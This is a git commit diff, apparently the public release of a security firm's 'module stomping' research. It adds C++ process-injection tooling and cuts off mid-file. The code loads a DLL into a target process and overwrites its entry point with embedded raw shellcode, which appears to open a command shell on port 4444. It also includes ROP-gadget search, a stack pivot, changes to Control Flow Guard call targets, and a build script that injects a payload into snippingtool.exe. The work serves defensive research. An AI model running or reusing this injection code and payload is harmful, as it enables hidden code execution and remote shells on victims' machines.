commit b55b187ccb5abd8f98e5df00ee15d8198378103b Author: Aliz Hammond Date: Thu Aug 15 18:29:13 2019 +0800 New repo for public release, part 1 diff --git a/.gitIgnore b/.gitIgnore new file mode 100644 index 0000000..39876cc --- /dev/null +++ b/.gitIgnore @@ -0,0 +1,7 @@ +.vs +*.vcxproj.filters +*.vcxproj.user +*/x64/ +x64 +Release +Debug \ No newline at end of file diff --git a/Jenkinsfile b/Jenkinsfile new file mode 100644 index 0000000..99be115 --- /dev/null +++ b/Jenkinsfile @@ -0,0 +1,37 @@ +// Build the main project via VS on a windows box +node('windows') +{ + deleteDir() + checkout([$class: 'GitSCM', branches: [[name: '*/master']], doGenerateSubmoduleConfigurations: false, extensions: [], submoduleCfg: [], userRemoteConfigs: [[credentialsId: '9d40f624-34b5-4993-9520-2ecf8c5996bf', url: 'https://gitlab.countercept.mwr/ahammond/moduleStomping.git']]]) + + bat "\"${tool 'msbuildVS2017'}\" cowspot.sln /p:Configuration=Debug /p:Platform=\"x64\" /p:ProductVersion=1.0.0.${env.BUILD_NUMBER}" + + archiveArtifacts 'x64\\Debug\\driver\\*,x64\\**\\*.pdb,x64\\**\\*.exe' +} + +// Build the injection payloads on Linux. It's easier than trying to do an unattended install of mingw on windows (!) +node('linux') +{ + sh "apt-get install -y g++-mingw-w64-x86-64 make" + + deleteDir() + checkout([$class: 'GitSCM', branches: [[name: '*/master']], doGenerateSubmoduleConfigurations: false, extensions: [], submoduleCfg: [], userRemoteConfigs: [[credentialsId: '9d40f624-34b5-4993-9520-2ecf8c5996bf', url: 'https://gitlab.countercept.mwr/ahammond/moduleStomping.git']]]) + + dir("injectionPayloads") + { + sh "make ldscript=ldscript.WindowsCodecsRaw" + archiveArtifacts '*.dll' + } + stash "injectionPayloads" +} + +// Now go back to the windows box, and do an injection! +// Try to inject the winsock payload, and test that the required socket is opened. +node('windows') +{ + unstash "injectionPayloads" + bat returnStatus: true, script: "taskkill /im snippingtool.exe /f" + bat "start C:\\windows\\system32\\snippingtool.exe" + bat "x64\\debug\\inject.exe snippingtool.exe injectionPayloads\\winsock.dll WindowsCodecsRaw.dll" + bat "nc -v -z localhost 27015" +} \ No newline at end of file diff --git a/README.md b/README.md new file mode 100644 index 0000000..c80d9eb --- /dev/null +++ b/README.md @@ -0,0 +1,3 @@ +Part 1 of Countercept's research on module stomping - see https://blog.f-secure.com/hiding-malicious-code-with-module-stomping . + +The full text of the associated blogpost is available in the Documentation directory. \ No newline at end of file diff --git a/cowspot.sln b/cowspot.sln new file mode 100644 index 0000000..f35f03a --- /dev/null +++ b/cowspot.sln @@ -0,0 +1,41 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 15 +VisualStudioVersion = 15.0.28010.2046 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "inject_simple", "inject_simple\inject_simple.vcxproj", "{5C90611E-0874-4618-9C3D-B1385C83FBDF}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "injectionUtils", "injectionUtils\injectionUtils.vcxproj", "{171D6509-8BA1-489E-BB38-B3DB2C9B53BB}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {5C90611E-0874-4618-9C3D-B1385C83FBDF}.Debug|x64.ActiveCfg = Debug|x64 + {5C90611E-0874-4618-9C3D-B1385C83FBDF}.Debug|x64.Build.0 = Debug|x64 + {5C90611E-0874-4618-9C3D-B1385C83FBDF}.Debug|x86.ActiveCfg = Debug|Win32 + {5C90611E-0874-4618-9C3D-B1385C83FBDF}.Debug|x86.Build.0 = Debug|Win32 + {5C90611E-0874-4618-9C3D-B1385C83FBDF}.Release|x64.ActiveCfg = Release|x64 + {5C90611E-0874-4618-9C3D-B1385C83FBDF}.Release|x64.Build.0 = Release|x64 + {5C90611E-0874-4618-9C3D-B1385C83FBDF}.Release|x86.ActiveCfg = Release|Win32 + {5C90611E-0874-4618-9C3D-B1385C83FBDF}.Release|x86.Build.0 = Release|Win32 + {171D6509-8BA1-489E-BB38-B3DB2C9B53BB}.Debug|x64.ActiveCfg = Debug|x64 + {171D6509-8BA1-489E-BB38-B3DB2C9B53BB}.Debug|x64.Build.0 = Debug|x64 + {171D6509-8BA1-489E-BB38-B3DB2C9B53BB}.Debug|x86.ActiveCfg = Debug|Win32 + {171D6509-8BA1-489E-BB38-B3DB2C9B53BB}.Debug|x86.Build.0 = Debug|Win32 + {171D6509-8BA1-489E-BB38-B3DB2C9B53BB}.Release|x64.ActiveCfg = Release|x64 + {171D6509-8BA1-489E-BB38-B3DB2C9B53BB}.Release|x64.Build.0 = Release|x64 + {171D6509-8BA1-489E-BB38-B3DB2C9B53BB}.Release|x86.ActiveCfg = Release|Win32 + {171D6509-8BA1-489E-BB38-B3DB2C9B53BB}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {B90013BF-86FB-4B90-88EB-72D19D7E01D0} + EndGlobalSection +EndGlobal diff --git a/documentation/moduleStompingBlogPost-part-1.docx b/documentation/moduleStompingBlogPost-part-1.docx new file mode 100644 index 0000000..d891ce0 Binary files /dev/null and b/documentation/moduleStompingBlogPost-part-1.docx differ diff --git a/inject_simple/inject_simple.cpp b/inject_simple/inject_simple.cpp new file mode 100644 index 0000000..49f4151 --- /dev/null +++ b/inject_simple/inject_simple.cpp @@ -0,0 +1,47 @@ +#include "pch.h" + +#include "../injectionUtils/public.h" +#include "shellcode.h" + +void doUsage() +{ + printf("Usage: inject_simple.exe \n"); +} + +int wmain(int argc, TCHAR *argv[]) +{ + if (argc != 3) + { + doUsage(); + return -1; + } + + TCHAR* targetProcessName = argv[1]; + DWORD targetPid = getPIDForProcessByName(targetProcessName); + if (targetPid == 0) + { + printf("Can't find process '%S'\n", targetProcessName); + return -1; + } + + if (!EnableDebugPrivilege(TRUE)) + { + printf("Couldn't enable debug privilege\n"); + return -1; + } + + HANDLE toScanHandle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_ALL_ACCESS, FALSE, targetPid); + if (toScanHandle == NULL) + { + printf("Couldn't open target process, gle %d\n", GetLastError()); + return -1; + } + + // First, convince the target to load the library we're going to stomp on top of. We just inject a thread to LoadLibraryA. + void* moduleToStompBase = injectLoadLibrary(toScanHandle, L"windowscodecsraw.dll"); + + moduleInMemory targetModule = moduleInMemory(toScanHandle, moduleToStompBase); + + targetModule.writeToModule(buf, targetModule.entrypoint, sizeof(buf)); + targetModule.injectThread(targetModule.entrypoint, NULL, 0); +} diff --git a/inject_simple/inject_simple.vcxproj b/inject_simple/inject_simple.vcxproj new file mode 100644 index 0000000..a49f092 --- /dev/null +++ b/inject_simple/inject_simple.vcxproj @@ -0,0 +1,178 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 15.0 + {5C90611E-0874-4618-9C3D-B1385C83FBDF} + Win32Proj + injectsimple + 10.0.17763.0 + + + + Application + true + v141 + Unicode + false + + + Application + false + v141 + true + Unicode + false + + + Application + true + v141 + Unicode + false + + + Application + false + v141 + true + Unicode + false + + + + + + + + + + + + + + + + + + + + + true + + + true + + + false + + + false + + + + Use + Level3 + Disabled + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + pch.h + + + Console + true + + + + + Use + Level3 + Disabled + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + pch.h + + + Console + true + + + + + Use + Level3 + MaxSpeed + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + pch.h + + + Console + true + true + true + + + + + Use + Level3 + MaxSpeed + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + pch.h + + + Console + true + true + true + + + + + + + + + + Create + Create + Create + Create + + + + + {171d6509-8ba1-489e-bb38-b3db2c9b53bb} + + + + + + \ No newline at end of file diff --git a/inject_simple/pch.cpp b/inject_simple/pch.cpp new file mode 100644 index 0000000..3a3d12b --- /dev/null +++ b/inject_simple/pch.cpp @@ -0,0 +1,5 @@ +// pch.cpp: source file corresponding to pre-compiled header; necessary for compilation to succeed + +#include "pch.h" + +// In general, ignore this file, but keep it around if you are using pre-compiled headers. diff --git a/inject_simple/pch.h b/inject_simple/pch.h new file mode 100644 index 0000000..3379623 --- /dev/null +++ b/inject_simple/pch.h @@ -0,0 +1,6 @@ +#ifndef PCH_H +#define PCH_H + +#include + +#endif //PCH_H diff --git a/inject_simple/shellcode.h b/inject_simple/shellcode.h new file mode 100644 index 0000000..8ccebc9 --- /dev/null +++ b/inject_simple/shellcode.h @@ -0,0 +1,36 @@ + +unsigned char buf[] = +"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" +"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" +"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" +"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" +"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" +"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" +"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" +"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" +"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" +"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" +"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" +"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" +"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" +"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33" +"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00" +"\x49\x89\xe5\x49\xbc\x02\x00\x11\x5c\x00\x00\x00\x00\x41\x54" +"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c" +"\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff" +"\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2" +"\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48" +"\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\xc2" +"\xdb\x37\x67\xff\xd5\x48\x31\xd2\x48\x89\xf9\x41\xba\xb7\xe9" +"\x38\xff\xff\xd5\x4d\x31\xc0\x48\x31\xd2\x48\x89\xf9\x41\xba" +"\x74\xec\x3b\xe1\xff\xd5\x48\x89\xf9\x48\x89\xc7\x41\xba\x75" +"\x6e\x4d\x61\xff\xd5\x48\x81\xc4\xa0\x02\x00\x00\x49\xb8\x63" +"\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57" +"\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44" +"\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6" +"\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff" +"\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5" +"\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff" +"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48" +"\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13" +"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5"; diff --git a/injectionUtils/injectionUtils.vcxproj b/injectionUtils/injectionUtils.vcxproj new file mode 100644 index 0000000..d624358 --- /dev/null +++ b/injectionUtils/injectionUtils.vcxproj @@ -0,0 +1,181 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 15.0 + {171D6509-8BA1-489E-BB38-B3DB2C9B53BB} + Win32Proj + injectionUtils + 10.0.17763.0 + + + + StaticLibrary + true + v141 + Unicode + + + StaticLibrary + false + v141 + true + Unicode + + + StaticLibrary + true + v141 + Unicode + + + StaticLibrary + false + v141 + true + Unicode + false + + + + + + + + + + + + + + + + + + + + + true + + + true + + + false + + + false + + + + Use + Level3 + Disabled + true + _DEBUG;_LIB;%(PreprocessorDefinitions) + true + + + Windows + true + + + Shlwapi.lib + + + + + Use + Level3 + Disabled + true + WIN32;_DEBUG;_LIB;%(PreprocessorDefinitions) + true + + + Windows + true + + + Shlwapi.lib + + + + + Use + Level3 + MaxSpeed + true + true + true + WIN32;NDEBUG;_LIB;%(PreprocessorDefinitions) + true + + + Windows + true + true + true + + + Shlwapi.lib + + + + + Use + Level3 + MaxSpeed + true + true + true + NDEBUG;_LIB;%(PreprocessorDefinitions) + true + + + Windows + true + true + true + + + Shlwapi.lib + + + + + + + + + + + + Create + Create + Create + Create + + + + + + + \ No newline at end of file diff --git a/injectionUtils/moduleManipulation.cpp b/injectionUtils/moduleManipulation.cpp new file mode 100644 index 0000000..7f7c462 --- /dev/null +++ b/injectionUtils/moduleManipulation.cpp @@ -0,0 +1,724 @@ +#include "stdafx.h" + +#include +#include +#include +#include + +#include "moduleManipulation.h" +#include "public.h" + +#include +#include +#include +#include + +std::map moduleInMemory::gadgetCache; + +section::section() +{ + name = std::wstring(L"(none)"); + Characteristics = VirtualAddress = VirtualSize = 0; +}; + +section::section(IMAGE_SECTION_HEADER* hdr) +{ + // Convert the section name to unicode so we can use it. + // Don't forget that the section name doesn't need to be null-terminated - if it is + // 8 bytes long then we must not read any further. + std::wstring_convert> converter; + std::wstring secName = std::wstring(converter.from_bytes((char*)hdr->Name, (char*)&hdr->Name[7])); + size_t nullPos = secName.find(L'\0'); + if (nullPos != secName.npos) + secName = secName.substr(0, nullPos); + name = secName; + Characteristics = hdr->Characteristics; + PhysicalAddress = hdr->Misc.PhysicalAddress; + VirtualAddress = hdr->VirtualAddress; + VirtualSize = hdr->Misc.VirtualSize; +} + +relocation::relocation(unsigned long long newTargetSite, unsigned long long newFixedUpValue, unsigned int newSize) +{ + targetSite = newTargetSite; + fixedUpValue = newFixedUpValue; + size = newSize; +} + +exportedFunc::exportedFunc(std::wstring functionName, std::wstring forwardedModuleName, std::wstring forwardedFunctionName) +{ + this->functionName = functionName; + this->functionPointerSite = 0; + this->functionPointerRVA = 0; + this->forwardedModuleName = forwardedModuleName; + this->forwardedFunctionName = forwardedFunctionName; + isForwarded = TRUE; +}; + +exportedFunc::exportedFunc(std::wstring functionName, unsigned long long functionPointerSite, unsigned long long functionPointerRVA) +{ + this->functionName = functionName; + this->functionPointerSite = functionPointerSite; + this->functionPointerRVA = functionPointerRVA; + isForwarded = FALSE; +}; + + +importedFunc::importedFunc(std::wstring moduleName, std::wstring functionName, unsigned long long functionPointerSite, unsigned long long functionPointerRVA) + : exportedFunc(functionName, functionPointerSite, functionPointerRVA) +{ + this->moduleName = moduleName; +}; + +moduleInMemory::moduleInMemory(HANDLE targetProcessHandle, std::wstring targetModuleName) : targetProcess(targetProcessHandle) +{ + unsigned char* moduleBase = getModuleBase(targetProcess, targetModuleName.c_str()); + if (moduleBase == NULL) + { + std::wstringstream os(L""); + os << "Failed to find module " << targetModuleName; + throw errorMaker::wruntime_error(os.str()); + } + targetModuleBase = moduleBase; + + commonInit(); +} + +moduleInMemory::moduleInMemory(HANDLE targetProcessHandle, void* targetModuleBase) : targetProcess(targetProcessHandle), targetModuleBase(targetModuleBase) +{ + commonInit(); +} + +void moduleInMemory::commonInit() +{ + // Load an unexported function we need in order to disable CFG + SetProcessValidCallTargets_ = (SetProcessValidCallTargetsType)GetProcAddress(LoadLibrary(L"Kernelbase"), "SetProcessValidCallTargets"); + if (SetProcessValidCallTargets_ == NULL) + throw std::exception("Cannot resolve Kernelbase!SetProcessValidCallTargets\n"); + + processModule(); +} + +unsigned long long moduleInMemory::resolveExport(std::wstring importName) +{ + exportedFunc* exp = this->getExport(importName.c_str()); + + if (!exp->isForwarded) + return exp->functionPointerRVA + ((unsigned long long)this->targetModuleBase); + + moduleInMemory* forwardModule = NULL; + while (exp->isForwarded) + { + moduleInMemory* tmp2 = new moduleInMemory(targetProcess, getModuleBase(targetProcess, exp->forwardedModuleName.c_str())); + exp = tmp2->getExport(exp->forwardedFunctionName); + if (forwardModule != NULL) + delete forwardModule; + forwardModule = tmp2; + } + unsigned long long toRet; + toRet = exp->functionPointerRVA + ((unsigned long long)forwardModule->targetModuleBase); + delete forwardModule; + return toRet; +} + +unsigned long long moduleInMemory::locateROPGadget(unsigned char* bytesToFind, unsigned int bytesToFindLen) +{ + ROPGadgetInfo toFind(this->targetModuleBase, bytesToFind, bytesToFindLen); + + // First, try our cache + std::map::iterator it = gadgetCache.find(toFind); + if (it != gadgetCache.end()) + { + // It's in the cache, so try that. The cache might be dirty so do check it before we return, and fall back to searching again if it + // isn't what we expect. + unsigned char* buf = (unsigned char*)malloc(toFind.bytesToFindLen); + readFromModule((*it).second - ((unsigned long long)targetModuleBase), buf, bytesToFindLen); + if (memcmp(buf, toFind.bytesToFind, bytesToFindLen) == 0) + return (*it).second; + } + // Nope, not in the cache (or the cache is dirty). + unsigned long long toRet = locateROPGadgetUncached(&toFind); + gadgetCache.insert(std::pair(toFind, toRet)); + return toRet; +} + +unsigned long long moduleInMemory::locateROPGadgetUncached(ROPGadgetInfo* toFind) +{ + for (unsigned int sectIdx = 0; sectIdx < sections.size(); sectIdx++) + { + section* sect = §ions[sectIdx]; + if (!(sect->Characteristics & IMAGE_SCN_MEM_EXECUTE)) + continue; + + unsigned char* buf = (unsigned char*)malloc(toFind->bytesToFindLen); + for (unsigned int bytePtr = 0; bytePtr < sect->VirtualSize - toFind->bytesToFindLen; bytePtr++) + { + readFromModule(sect->VirtualAddress + bytePtr, buf, toFind->bytesToFindLen); + if (memcmp(buf, toFind->bytesToFind, toFind->bytesToFindLen) == 0) + return sect->VirtualAddress + bytePtr + ((unsigned long long)targetModuleBase); + } + } + throw std::exception("Cannot locate ROP gadget :("); +} + +unsigned long long moduleInMemory::addModuleBase(unsigned long long toAdd) +{ + return (((unsigned long long)targetModuleBase) + toAdd); +} + +void moduleInMemory::injectThread(unsigned long long startRVA, unsigned long long* args, unsigned int argCount, bool waitForReturn) +{ + // The based address we're calling + unsigned long long targetAddress = addModuleBase(startRVA); + + // Allocate a stack for our injected thread. + stackBuilder stack(targetProcess, 0x10000); + + // We will need to find a couple functions from kernelbase.dll, which our "shellcode" will use. + moduleInMemory kernelBase(targetProcess, L"kernelbase.dll"); + unsigned long long exitThread = kernelBase.resolveExport(L"ExitThread"); + + stack.push(exitThread); + stack.push(targetAddress); + + stack.writeToProcess(); + + // Make a new thread, suspended. We will set its stack and RIP values later on, before we resume it. We just supply bogus ones here. + DWORD tid; + HANDLE s = CreateRemoteThread(targetProcess, NULL, 0, (LPTHREAD_START_ROUTINE)NULL, NULL, CREATE_SUSPENDED, &tid); + if (!s) + throw std::runtime_error("CreateRemoteThread failed"); + + // Somewhat annoyingly, we can't alter the stack pointer via SetThreadContext until the new thread has been resumed. We need to use a + // ROP-style stack pivot in order to set it. + // We use this gadget: + // 49 8b e3 mov rsp, r11 + // 41 5e pop r14 + // c3 ret + unsigned char gadgetCode[] = { + 0x49, 0x8b, 0xe3, + 0x41, 0x5e, + 0xc3 + }; + unsigned long long stackPivot = kernelBase.locateROPGadget(gadgetCode, sizeof(gadgetCode)); + + // We can now set our new thread to the RIP location we want, and set registers with any arguments. + CONTEXT ctx; + ctx.ContextFlags = CONTEXT_ALL; + if (!GetThreadContext(s, &ctx)) + throw std::runtime_error("GetThreadContext failed"); + + if (argCount > 0) + ctx.Rcx = args[0]; + if (argCount > 1) + ctx.Rdx = args[1]; + if (argCount > 2) + ctx.R8 = args[2]; + if (argCount > 3) + ctx.R9 = args[3]; + ctx.R11 = stack.getPtrToTopOfStack() - 8; + ctx.Rip = stackPivot; + + SetThreadContext(s, &ctx); + + ResumeThread(s); + + if (waitForReturn) + WaitForSingleObject(s, INFINITE); +} + +void moduleInMemory::markCFGValid(unsigned long long ptrToMarkValid) +{ + CFG_CALL_TARGET_INFO info; + info.Flags = CFG_CALL_TARGET_VALID; + info.Offset = ptrToMarkValid; + + if (!SetProcessValidCallTargets_(targetProcess, (void*)targetModuleBase, sizeOfImage, 1, &info)) + throw std::exception("SetProcessValidCallTargets failed"); +} + +section* moduleInMemory::getSectionForAddress(unsigned long long toFind) +{ + unsigned long long RVA = toFind - (unsigned long long)targetModuleBase; + for (unsigned int sectIndex = 0; sectIndex < sections.size(); sectIndex++) + { + section sect = sections[sectIndex]; + if (RVA >= sect.VirtualAddress && + RVA <= sect.VirtualAddress + sect.VirtualSize) + { + return §ions[sectIndex]; + } + } + + return NULL; +} + +section* moduleInMemory::getSectionByName(std::wstring toFind) +{ + for (unsigned int sectIndex = 0; sectIndex < sections.size(); sectIndex++) + { + section sect = sections[sectIndex]; + if (sect.name == toFind.c_str()) + return §ions[sectIndex]; + } + return NULL; +} + +void moduleInMemory::readFromModule(unsigned long long srcAddress, void* outBuf, SIZE_T bytesToRead) +{ + SIZE_T bytesActuallyRead; + int s = ReadProcessMemory(targetProcess, &((unsigned char*)targetModuleBase)[srcAddress], outBuf, bytesToRead, &bytesActuallyRead); + if (!s) + { + std::ostringstream os(""); + os << "Failed ReadProcessMemory of " << bytesToRead << " bytes starting from " << std::hex << targetModuleBase << "+" << srcAddress << + " : read only " << std::dec << bytesActuallyRead << " of " << bytesToRead << ", GLE " << GetLastError(); + throw std::runtime_error(os.str()); + } +} + +std::wstring moduleInMemory::readStringFromModule(unsigned long long srcAddress) +{ + std::wostringstream os; + + // Pretty ineffecient since we read a byte at a time. + int n = 0; + char moduleNameLetter; + do + { + readFromModule(srcAddress + n, &moduleNameLetter, 1); + if (moduleNameLetter != 0) + os << moduleNameLetter; + n++; + } while (moduleNameLetter != 0); + + return os.str(); +} + +void moduleInMemory::writeToModule(void* srcData, unsigned long long destAddress, SIZE_T bytesToWrite) +{ + unsigned long long srcCursor = (unsigned long long)srcData; + unsigned long long dstBased = (unsigned long long)&((unsigned char*)targetModuleBase)[destAddress]; + + // Write a page at a time, checking and changing permissions if needed. + while (bytesToWrite > 0) + { + unsigned long long toWriteThisPage = bytesToWrite; + if (toWriteThisPage > 0x1000) + toWriteThisPage = 0x1000; + + // printf("Write 0x%08llx bytes at 0x%016llx\n", toWriteThisPage, dstBased); + + // Make it writable + DWORD oldPerms; + if (!VirtualProtectEx(targetProcess, (PVOID*)dstBased, toWriteThisPage, PAGE_EXECUTE_READWRITE, &oldPerms)) + throw std::runtime_error("oh no"); + + writeToModuleWithoutPermissionCheck((void*)srcCursor, dstBased, toWriteThisPage); + + // Restore the previous permissions + if (!VirtualProtectEx(targetProcess, (PVOID*)dstBased, toWriteThisPage, oldPerms, &oldPerms)) + throw std::runtime_error("oh no"); + + if (bytesToWrite < toWriteThisPage) + break; + bytesToWrite -= toWriteThisPage; + srcCursor += toWriteThisPage; + dstBased += toWriteThisPage; + } +} + +importedFunc* moduleInMemory::getImport(std::wstring moduleName, std::wstring functionName) +{ + for (unsigned int n = 0; n < imports.size(); n++) + { + if ((imports[n].functionName == functionName) && + (imports[n].moduleName == moduleName)) + return &imports[n]; + } + return NULL; +} + +BOOL moduleInMemory::hasExport(std::wstring functionName) +{ + for (unsigned int n = 0; n < exports.size(); n++) + { + if (exports[n].functionName == functionName) + return true; + } + return false; +} + +exportedFunc* moduleInMemory::getExport(std::wstring functionName) +{ + for (unsigned int n = 0; n < exports.size(); n++) + { + if (exports[n].functionName == functionName) + return &exports[n]; + } + std::wstringstream os(L""); + os << "Failed to find export '" << functionName << "' "; + throw errorMaker::wruntime_error(&os); +} + +moduleInMemory::moduleInMemory() +{ + +} + +void moduleInMemory::processModule() +{ + IMAGE_DOS_HEADER mz; + readFromModule(0, &mz, sizeof(mz)); + if (mz.e_magic != IMAGE_DOS_SIGNATURE) + throw std::runtime_error("Module has incorrect MZ signature"); + + IMAGE_NT_HEADERS pe; + readFromModule(mz.e_lfanew, &pe, sizeof(pe)); + if (pe.Signature != IMAGE_NT_SIGNATURE) + throw std::runtime_error("Module has incorrect PE signature"); + + this->entrypoint = pe.OptionalHeader.AddressOfEntryPoint; + + // Sections start directly after the PE. + unsigned long long sectPtr = mz.e_lfanew + FIELD_OFFSET(IMAGE_NT_HEADERS, OptionalHeader) + pe.FileHeader.SizeOfOptionalHeader; + + for (unsigned int sectionIndex = 0; sectionIndex < pe.FileHeader.NumberOfSections; sectionIndex++) + { + IMAGE_SECTION_HEADER sect; + readFromModule(sectPtr, §, sizeof(IMAGE_SECTION_HEADER)); + sections.push_back(section(§)); + sectPtr += sizeof(IMAGE_SECTION_HEADER); + } + setPEFeatures(&pe); + processModuleImports(&pe); + processModuleExports(&pe); + processModuleRelocs(&pe); + processModuleTLSCallbacks(&pe); +} + +void moduleInMemory::setPEFeatures(IMAGE_NT_HEADERS *pe) +{ + preferredBaseAddress = pe->OptionalHeader.ImageBase; + sizeOfImage = pe->OptionalHeader.SizeOfImage; + unsigned int numOfDataDirectories = pe->OptionalHeader.NumberOfRvaAndSizes; + hasImports = (numOfDataDirectories - 1 >= IMAGE_DIRECTORY_ENTRY_IMPORT); + hasExports = (numOfDataDirectories - 1 >= IMAGE_DIRECTORY_ENTRY_EXPORT); + hasTLS = (numOfDataDirectories - 1 >= IMAGE_DIRECTORY_ENTRY_TLS); + // Some compilers emit a zero'ed out TLS data directory to signify the absence of TLS data. + if (hasTLS) + { + if (pe->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].Size == 0) + hasTLS = false; + } +} + +void moduleInMemory::processModuleImports(IMAGE_NT_HEADERS *pe) +{ + if (!hasImports) + return; + + unsigned long long impDescPtr; + impDescPtr = pe->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress; + if (impDescPtr == 0) + return; + while (true) + { + IMAGE_IMPORT_DESCRIPTOR impDesc; + readFromModule(impDescPtr, &impDesc, sizeof(IMAGE_IMPORT_DESCRIPTOR)); + if (impDesc.Name == 0) + break; + + std::wstring importedModuleName = readStringFromModule((unsigned long long)impDesc.Name); + // TODO: detect / handle imports by ordinal, forwarded imports + DWORD oft = impDesc.OriginalFirstThunk; + DWORD ft = impDesc.FirstThunk; + do + { + DWORD thunkDataRVA; + readFromModule(oft, (void*)&thunkDataRVA, sizeof(DWORD)); + if (thunkDataRVA == 0) + break; + + unsigned long long pointerSite = ft + pe->OptionalHeader.ImageBase; + + std::wstring importedFunctionName = readStringFromModule((unsigned long long)thunkDataRVA + 2); +// printf("Function import from module '%s' of function '%s': pointer is stored at RVA 0x%08lux\n", importedModuleName.c_str(), importedFunctionName.c_str(), ft); + importedFunc f(importedModuleName, importedFunctionName, pointerSite, (unsigned long long)ft); + imports.push_back(f); + oft += 8; + ft += 8; + } while (true); + + impDescPtr += sizeof(IMAGE_IMPORT_DESCRIPTOR); + } +} + +void moduleInMemory::processModuleExports(IMAGE_NT_HEADERS *pe) +{ + if (!hasExports) + return; + + unsigned long long expDescPtr; + unsigned long long expDescLimit; + expDescPtr = pe->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; + expDescLimit = pe->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress + pe->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size; + if (expDescPtr == 0) + return; + IMAGE_EXPORT_DIRECTORY expDesc; + readFromModule(expDescPtr, &expDesc, sizeof(IMAGE_EXPORT_DIRECTORY)); + if (expDesc.Name == 0) + return; + + std::wstring exportName = readStringFromModule((unsigned long long)expDesc.Name); + unsigned int functionCount = 0; + DWORD functions = expDesc.AddressOfFunctions; + // Read name ordinals into memory, it makes things simpler + USHORT* nameOrdinals = (USHORT*)malloc(expDesc.NumberOfFunctions * sizeof(USHORT)); + readFromModule(expDesc.AddressOfNameOrdinals, nameOrdinals, expDesc.NumberOfFunctions * sizeof(USHORT)); + + for (unsigned int funcIdx = 0; funcIdx < expDesc.NumberOfNames; funcIdx++) + { + DWORD funcNameRVA = expDesc.AddressOfNames + (funcIdx * sizeof(DWORD)); + readFromModule(funcNameRVA, (void*)&funcNameRVA, sizeof(DWORD)); + + unsigned long long exportedCodePtr = expDesc.AddressOfFunctions + (nameOrdinals[funcIdx] * sizeof(DWORD)); + unsigned long long exportedCodeRVA = 0; + + readFromModule(exportedCodePtr, (void*)&exportedCodeRVA, sizeof(DWORD)); + unsigned long long exportedCode = exportedCodeRVA + (unsigned long long)targetModuleBase; + std::wstring exportedFunctionName = 